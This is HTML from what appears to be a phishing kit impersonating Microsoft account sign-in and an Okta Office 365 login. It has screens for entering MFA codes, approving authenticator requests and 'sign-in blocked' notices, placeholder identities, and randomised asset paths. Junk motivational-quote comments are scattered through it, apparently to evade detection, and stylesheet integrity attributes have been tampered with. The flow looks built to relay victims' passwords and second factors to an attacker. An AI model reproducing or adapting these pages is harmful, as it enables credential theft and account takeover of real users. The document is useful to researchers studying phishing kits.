            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Let’s try something else</h2>
            <div id="signinanothererrordesc" class="text-block-body form-group overflow-hidden no-margin-top">
<!-- Success is how high you bounce when you hit bottom. -->
            You've hit our limit on <span id="signinanothererrordescmethod">verification calls.</span> Use <a data-id="useAuthenticator" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Microsoft Authenticator</a> or try to sign in again shortly.
            </div>
            <div class="signinanothererrorsigninanother form-group">
            Having trouble? <a data-id="signInAnotherWay" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in another way</a>
            </div>
<!-- A satisfied customer is the best business strategy of all. -->
            <div class="bottomsection">
            </div>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
    </section>

    <section id="section_accessblocked" class="d-none">
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Don&#039;t watch the clock; do what it does. Keep going. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- The customer is always right. -->
                <button class="back" onclick="backbtn()">
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button> 
<!-- Success is getting what you want, happiness is wanting what you get. -->
                <span class="user_identity">a@b.com</span>
<!-- The successful warrior is the average man, with laser-like focus. -->
            </div>
<!-- Success is finding satisfaction in giving a little more than you take. -->
            <h2 class="title mb-16"></h2>
            <div id="accessblockeddesc" class="text-block-body form-group overflow-hidden no-margin-top"></div>
            <div id="accessblockedsignoutoption"></div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
            <a id="MoreDetails" class="no-wrap" href="javascript:void(0)" onclick="document.getElementById('accessblockedtroubleshootingele').classList.remove('d-none')" role="button" aria-label="Click here for more details">More details</a>
            </div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
        </div>

<!-- Stop chasing the money and start chasing the passion. -->
        <div id="accessblockedtroubleshootingele" class="auth-wrapper table d-none">
            <div id="accessblockedtroubleshootingcontent" class="sectioncontent">
            <div class="table-row">
            <div class="table-cell">
<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
            <div class="debug-details-header">
                <div id="debugDetailsHeader"  role="heading">Troubleshooting details</div>
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                <div>If you contact your administrator, send this info to them.</div>
                <a id="idCopyToClipboard" href="javascript:void(0)" role="button" aria-describedby="debugDetailsHeader" aria-label="Copy info to clipboard">Copy info to clipboard</a>
            </div>
            <div id="debugdetailsinfo" class="override-ltr">

            </div>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
            <div class="debug-trace-section">
                <div>
                    <span class="bold">Flag sign-in errors for review:</span>
                    <a id="setDebugMode" role="button" href="javascript:void(0)" aria-label="Enable flagging">Enable flagging</a>
                </div>
                <div>If you plan on getting help for this problem, enable flagging and try to reproduce the error within 20 minutes. Flagged events make diagnostics available and are raised to admin attention.</div>
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
            </div>
           </div>
            <a id="errorBannerCloseLink" role="button" href="javascript:void(0)" onclick="document.getElementById('accessblockedtroubleshootingele').classList.toggle('d-none')" aria-label="Close troubleshooting details">
                <img role="presentation" src="/efYxF2ySk2YShYz65rgqdnAx40xVd1Wankl408N4aoX5jyMuCBdJ78144" alt="Close troubleshooting details">
            </a>
<!-- Success is not in what you have, but who you are. -->
            </div>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
        </div>
    </section>

    <section id="section_multipleaccounts" class="d-none">
<!-- <div>Innovation distinguishes between a leader and a follower.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The secret of success is to do the common thing uncommonly well. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
            <div id="multipleaccountsdesc" class="row text-body text-block-body"></div>
            <div id="error_multipleaccounts" class="error"></div>
            <div id="multipleaccountoptions" class="form-group" role="list">
<!-- Your time is limited, don&#039;t waste it living someone else&#039;s life. -->

<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
            </div>
            <div class="bottomsection"></div>
            <button class="btn2fa" onclick="backbuttonclick(this,2)" id="btn_back">Back</button>
            </div>
        </div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->
    </section>

    <section id="section_2fa" class="d-none">
        <div class="auth-wrapper">
<!-- Try not to become a man of success. Rather become a man of value. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                <button class="back">
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button>
<!-- Success is getting what you want, happiness is wanting what you get. -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Verify your identity</h2>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            <div id="error_2fa" class="error"></div>
                <div id="2famethods" class="form-group" role="list">

<!-- <div>Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe.</div> -->
                </div>
            <div class="bottomsection"></div>
            <button class="btn2fa btn_can" id="btn_can">Cancel</button>
            </div>
<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
        </div>
    </section>

    <section id="section_authapp" class="d-none">
<!-- Great leaders inspire action. -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            </div>
            <div class="sectioncontent">
<!-- Success is not the key to happiness. Happiness is the key to success. -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button> 
                <span class="user_identity">a@b.com</span>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
            <img class="tile-img small" role="presentation" id="authappimg" src="/ijWqdNnlDT8f49RO0v5Dd1Ucdw7NCmqN7rhCLE678170">
            <div id="authappdesc" class="form-group"></div>
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
            <div id="error_authapp" class="error"></div>
            <div class="row text-body">
<!-- The secret of getting ahead is getting started. -->
            <div class="display-sign-container">
            <div id="authappcode" class="displaySign"></div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
            </div>
            </div>
            <div id="authappbottomdesc" class="form-group">No numbers in your app? Make sure to upgrade to the latest version</div>
            <div class="bottomsection"></div>
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
            </div>
        </div>
    </section>

    <section id="section_authapperror" class="d-none">
        <div class="auth-wrapper">
<!-- Opportunities don&#039;t happen, you create them. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is where preparation and opportunity meet.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is where preparation and opportunity meet. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Success is how high you bounce when you hit bottom. -->
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16"></h2>
<!-- Success seems to be connected with action. Successful people keep moving. -->

            <div id="authapperrordesc" class="form-group"></div>

            <div id="authapperrorresend"></div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
            
            <div class="text-subtitle">Having trouble?</div>

            <div class="row text-body" style="margin-bottom: 0;">
            
            </div>
<!-- I find that the harder I work, the more luck I seem to have. -->
            <a id="moreInfoUrl" class="link mb-16" href="javascript:void(0)" target="_blank">More information</a>
            <button class="btn2fa btn_can" id="btn_can">Cancel</button>
<!-- <div>Trust is the foundation of any relationship.</div> -->
            </div>
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
        </div>
    </section>
<!-- <div>Innovation distinguishes between a leader and a follower.</div> -->

<!-- Success is finding satisfaction in giving a little more than you take. -->
    <section id="section_authcall" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
            <img class="tile-img small" role="presentation" id="authcallimg" src="/yzB0PtonfIM6DQfTyJQiyB4roUKKi2rs7bj9NerEwRInDSab173">
            <div id="authcalldesc" class="form-group"></div>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            <div id="error_authcall" class="error"></div>
            <div class="bottomsection"></div>
            </div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
        </div>
    </section>

    <section id="section_confirmemail" class="d-none">
<!-- The only place where success comes before work is in the dictionary. -->
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is not final, failure is not fatal: It is the courage to continue that counts.</div> -->
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
<!-- I find that the harder I work, the more luck I seem to have. -->
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Verify your email</h2>
            <div id="verifyemaildesc" class="form-group"></div>
            <div id="error_verifyemail" class="error"></div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            <input id="inp_confirmemail" type="text" name="confirmemail" class="input form-group" placeholder="someone@example.com">
            <div class="bottomsection"></div>
            <button class="btn" id="btn_confirmemail">Send Code</button>
            </div>
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
        </div>
    </section>
<!-- <div>Success is not in what you have, but who you are.</div> -->

    <section id="section_protectaccount" class="d-none">
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>Success usually comes to those who are too busy to be looking for it.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- If you really look closely, most overnight successes took a long time. -->
                <button class="back" onclick="backbtn()">
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Help us protect your account</h2>
<!-- <div>I find that the harder I work, the more luck I seem to have.</div> -->
            <div id="protectaccountdesc" class="form-group"></div>
<!-- Success seems to be connected with action. Successful people keep moving. -->
            <div id="error_protectaccount" class="error"></div>
            <div id="protectaccountoptions" role="radiogroup"></div>
            <div class="bottomsection"></div>
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
            <button class="btn" id="btn_protectaccount" onclick="protectsend(this)">Send Code</button>
<!-- Opportunities don&#039;t happen, you create them. -->
            </div>
        </div>
    </section>

    <section id="section_otp" class="d-none">
<!-- <div>Effective communication is the key to success.</div> -->
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- <div>Success is where preparation and opportunity meet.</div> -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
<!-- <div>The only limit to our realization of tomorrow will be our doubts of today.</div> -->
                <button class="back" onclick="backbtn()">
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button>
<!-- <div>Success is not in what you have, but who you are.</div> -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Enter code</h2>
<!-- I find that the harder I work, the more luck I seem to have. -->
            <div class="row text-body">
            <img class="tile-img small" role="presentation" id="otpimg" src="/rsif214rnVDgZLZ3NteaTyKVijZX6cEmEYF9MPY7eoBt05RqCBb6cd200">
<!-- I find that the harder I work, the more luck I seem to have. -->
            <div id="otpdesc" class="text-block-body overflow-hidden form-group"></div>
            <div id="error_otp" class="error"></div>
            </div>
            <input id="inp_otpcode" type="text" name="otpcode" oninput="validatediginp(this)" class="input form-group" placeholder="Code">
<!-- <div>Success is not in what you have, but who you are.</div> -->
            
<!-- <div>Try not to become a man of success. Rather become a man of value.</div> -->
            <label class="has-checkbox d-none">
                <input type="checkbox" class="checkbox" />
<!-- Success is not built on success. It&#039;s built on failure. It&#039;s built on frustration. Sometimes it&#039;s built on catastrophe. -->
                <span>Don't ask me again on this device</span>
            </label>
            <div>
<!-- <div>Success is not the absence of failure; it&#039;s the persistence through failure.</div> -->
            <div class="bottomsection"></div>
            <button class="btn" id="btn_verifyotp">Verify</button>
            </div>
            </div>
        </div>
    </section>
<!-- <div>You know you are on the road to success if you would do your job, and not be paid for it.</div> -->

    <section id="section_confirmemailorphone_live" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success usually comes to those who are too busy to be looking for it. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- The road to success and the road to failure are almost exactly the same. -->
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- The road to success and the road to failure are almost exactly the same. -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
<!-- I find that the harder I work, the more luck I seem to have. -->
                </button> 
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16" id="confirmemailorphone_live_title">Verify your email</h2>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
            <div id="confirmemailorphone_livedesc" class="form-group"></div>
            <div id="error_confirmemailorphone_live" class="error"></div>
            <input id="confirmemailorphone_live_hidden" type="hidden" value="">
            <input id="inp_confirmemailorphone_live" type="text" name="confirmemail" class="input form-group" placeholder="someone@example.com">
<!-- <div>Your time is limited, don&#039;t waste it living someone else&#039;s life.</div> -->
            <div class="bottomsection"></div>
            <button class="btn btn-small" id="btn_confirmemailorphone_live" onclick="twofalive(this)">Send Code</button>
            </div>
<!-- The secret of success is to do the common thing uncommonly well. -->
        </div>
    </section>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->

    <section id="section_otp_live" class="d-none">
        <div class="auth-wrapper">
<!-- Success is not the absence of failure; it&#039;s the persistence through failure. -->
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>The biggest risk is not taking any risk.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Great leaders inspire action. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
<!-- Try not to become a man of success. Rather become a man of value. -->
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button>
                <span class="user_identity">a@b.com</span>
            </div>
<!-- Stop chasing the money and start chasing the passion. -->
            <h2 class="title mb-16">Enter code</h2>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
            <div class="row text-body">
            <img class="tile-img small" role="presentation" id="otpliveimg" src="/rsif214rnVDgZLZ3NteaTyKVijZX6cEmEYF9MPY7eoBt05RqCBb6cd200">
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
            <div id="otp_livedesc" class="text-block-body overflow-hidden form-group"></div>
            <div id="error_otp_live" class="error"></div>
            </div>
<!-- <div>Every problem is an opportunity in disguise.</div> -->
            <input id="inp_otp_live" type="text" name="otpcode" oninput="validatediginp(this)" class="input form-group" placeholder="Code">
            
            <label class="has-checkbox d-none">
                <input type="checkbox" class="checkbox" />
                <span>Don't ask me again on this device</span>
<!-- If you really look closely, most overnight successes took a long time. -->
            </label>
<!-- Your brand is what people say about you when you&#039;re not in the room. -->
            <div>
            <div class="bottomsection"></div>
            <button class="btn" id="btn_verifyotp_live" onclick="twofalive(this)">Verify</button>
            </div>
            </div>
        </div>
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. -->
    </section>

    <section id="section_authapp_live" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
                <div class="dot-floating"></div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- You know you are on the road to success if you would do your job, and not be paid for it. -->
                <div class="dot-floating"></div>
            </div>
<!-- <div>Success is getting what you want, happiness is wanting what you get.</div> -->
            <div class="sectioncontent">
            <div class="bannerlogo" class="d-block"></div>
<!-- Success is finding satisfaction in giving a little more than you take. -->
            <div class="identity w-100 mt-16 mb-16">
                <button class="back" onclick="backbtn()">
                    <img src="/wxgLKLfuRc6QRG9bDFk5stgCfOHyfy7N7NY4DBUk34126"/>
                </button>
<!-- Success is the sum of small efforts, repeated day in and day out. -->
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Approve sign in request</h2>
            <div class="row text-body">
<!-- <div>The starting point of all achievement is desire.</div> -->
            <div id="authapp_livedesc" class="text-block-body overflow-hidden text-m">Open the Microsoft app (such as Authenticator or Outlook) you use for approving sign-in requests and approve request <span id="authapp_live_code"></span>.</div>
<!-- If you really look closely, most overnight successes took a long time. -->
            <div id="error_authapp_live" class="error"></div>
            </div>
            <label class="mb-16 has-checkbox">
<!-- <div>Success seems to be connected with action. Successful people keep moving.</div> -->
                <input type="checkbox" class="checkbox" style="width: 29px;bottom: 10px;position: relative;"/>
                <span>I sign in frequently on this device. Don't ask me to approve requests here.</span>
            </label>
            <div>
<!-- Don&#039;t be afraid to give up the good to go for the great. -->
            <div class="bottomsection"></div>
            </div>
            </div>
<!-- Leadership is not about being in charge, it&#039;s about taking care of those in your charge. -->
        </div>
    </section>

<!-- <div>The way to get started is to quit talking and begin doing.</div> -->
    <section id="section_signin_blocked_live" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
                <div class="dot-floating"></div>
<!-- <div>The secret of success is to do the common thing uncommonly well.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- <div>Your brand is what people say about you when you&#039;re not in the room.</div> -->
            </div>
            <div class="sectioncontent">
            <div class="firstlogo"></div>
<!-- <div>Successful people do what unsuccessful people are not willing to do. Don&#039;t wish it were easier; wish you were better.</div> -->
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Sign in</h2>
            <div class="text-block-body form-group overflow-hidden no-margin-top error">Sign-in is blocked</div>
            <div id="signin_blocked_livedesc" class="text-block-body form-group overflow-hidden no-margin-top error">You've tried to sign in too many times with an incorrect account or password.</div>
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
            <div class="text-block-body form-group overflow-hidden no-margin-top">Sign-in with <span id="signin_blocked_live_email" style="font-weight: bold;"></span> is blocked for one of these reasons:
            </div>
            <div id="signin_blocked_reason" class="text-block-body form-group overflow-hidden no-margin-top">Someone entered the wrong password too many times.
            </div>
            <div class="text-block-body form-group overflow-hidden no-margin-top">If you signed up for this account through an organization, you might not be able to use it yet.</div>
            <div class="signin_blocked_livebottom">
<!-- Leadership is not about being in charge, it&#039;s about taking care of those in your charge. -->
            <div class="bottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in using another Microsoft account</a>
<!-- <div>Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful.</div> -->
            </div>
<!-- <div>Don&#039;t be afraid to give up the good to go for the great.</div> -->

            </div>
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
<!-- The secret of success is to do the common thing uncommonly well. -->
            </div>
<!-- Success is not the key to happiness. Happiness is the key to success. -->
        </div>
<!-- <div>Stop chasing the money and start chasing the passion.</div> -->
    </section>

    <section id="section_protect_account_live" class="d-none">
        <div class="auth-wrapper">
<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
            <div class="loading-container">
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Success is not how high you have climbed, but how you make a positive difference to the world. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
            <div class="sectioncontent">
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
            <div class="firstlogo"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
            </div>
            <h2 class="title mb-16">Let's protect your account</h2>
<!-- Effective communication is the key to success. -->
            <div class="text-block-body form-group overflow-hidden no-margin-top error">Sign-in is blocked</div>
            <div id="protect_account_livedesc" class="text-block-body form-group overflow-hidden no-margin-top error">To ensure your account remains protected, we recommend logging in with a different account when you encounter verification issues. This helps maintain seamless access without requiring additional security info, such as an alternate email address.</div>
<!-- <div>Success is not how high you have climbed, but how you make a positive difference to the world.</div> -->
            <div class="protect_account_livebottom">
            <div class="bottomoption form-group">
            <a data-id="SwitchUser" onclick="linkoptionclick(this)" class="no-wrap" href="javascript:void(0)">Sign in using another Microsoft account</a>
            </div>

            </div>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
            <div class="bottomsection">
            </div>
            <!-- <p class="mb-16 fs-13">No account? <a href="" class="link">Create one!</a></p> -->
            </div>
        </div>
    </section>
<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->

<!-- <div>Success is finding satisfaction in giving a little more than you take.</div> -->
    <section id="section_final" class="d-none">
        <div class="auth-wrapper">
            <div class="loading-container">
<!-- <div>Success is walking from failure to failure with no loss of enthusiasm.</div> -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
<!-- Great leaders inspire action. -->
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
                <div class="dot-floating"></div>
            </div>
<!-- <div>The road to success and the road to failure are almost exactly the same.</div> -->
            <div class="sectioncontent">
<!-- The customer is always right. -->
            <div class="bannerlogo" class="d-block"></div>
            <div class="identity w-100 mt-16 mb-16">
                <span class="user_identity">a@b.com</span>
<!-- <div>Success is not in what you have, but who you are.</div> -->
            </div>
            <h2 class="title mb-16">Stay signed in?</h2>
            <p class="p">Stay signed in so you don't have to sign in again next time.</p>
<!-- Do not be embarrassed by your failures, learn from them and start again. -->
            <label class="has-checkbox">
                <input type="checkbox" class="checkbox" />
<!-- Success is not in what you have, but who you are. -->
                <span>Don't show this again</span>
            </label>
            <div class="btn-group">
                <button class="btn btn-sec btn_final">No</button>
<!-- The only limit to our realization of tomorrow will be our doubts of today. -->
                <button class="btn btn_final">Yes</button>
            </div>
            </div>
        </div>
<!-- The road to success and the road to failure are almost exactly the same. -->
    </section>


<!-- The customer is always right. -->
<footer id="footer" class="footer">
    <a href="javascript:void(0)">Terms of use</a>
    <a href="javascript:void(0)">Privacy & cookies</a>
    <span>.&nbsp;.&nbsp;.</span>
</footer>
<!-- <div>All our dreams can come true if we have the courage to pursue them.</div> -->

</div>




<!-- Success is not the key to happiness. Happiness is the key to success. If you love what you are doing, you will be successful. -->

<div id="sections_okta" class="websitesections d-none">
    <link id="okta_css1" href="https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" xintegrity="sha384-s4VmJS0LKpE1WfmPdAkU95ZUvAyV4VjfkpSF6d43LR0Yjt5WTPiZVBy3ed4EYneO" rickorigin="anonymous">
    <link id="okta_css2" href="https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css" rel="stylesheet" type="text/css">
<!-- <div>The starting point of all achievement is desire.</div> -->
    <div class="auth okta-container">
      <div id="login-bg-image" class="login-bg-image tb--background bgStyle" data-se="login-bg-image"></div>
      <div class="content">
        <div class="applogin-banner">
          <div class="applogin-background"></div>
<!-- <div>Quality is not an act; it is a habit.</div> -->
          <div class="applogin-container">
            <h1>
              <span class="applogin-app-title"> Connecting to</span>
              <div class="applogin-app-logo">
                <img src="https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7" alt="Student" class="logo office365">
<!-- <div>Great leaders inspire action.</div> -->
              </div>
            </h1>
            <p>Sign in with your account to access Office 365</p>
          </div>
        </div>
<!-- <div>Success is how high you bounce when you hit bottom.</div> -->
        <div id="signin-container">
          <main data-se="auth-container" tabindex="-1" id="okta-sign-in" class="auth-container main-container can-remove-beacon" style="">
            <div class="okta-sign-in-header auth-header">
<!-- If you are not willing to risk the usual, you will have to settle for the ordinary. -->
              <div data-type="beacon-container" class="beacon-container" style="transform: scale(1); text-indent: 1px;">
                <div class="js-security-beacon">
<!-- <div>Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph.</div> -->
                  <div class="beacon-blank">
                    <div class="radial-progress-bar">
                      <div class="circle left"></div>
                      <div class="circle right"></div>
                    </div>
                  </div>
<!-- <div>Success is not the key to happiness. Happiness is the key to success.</div> -->
                  <div aria-live="polite" role="img" class="bg-helper auth-beacon auth-beacon-security undefined-user" data-se="security-beacon">
                    <span class="accessibility-text"></span>
                    <div class="okta-sign-in-beacon-border js-auth-beacon-border"></div>
                  </div>
<!-- Try not to become a man of success. Rather become a man of value. -->
                </div>
              </div>
<!-- <div>The successful warrior is the average man, with laser-like focus.</div> -->
            </div>
            <div class="auth-content">
              <div class="auth-content-inner">
<!-- <div>Quality is not an act; it is a habit.</div> -->
                <div class="primary-auth">
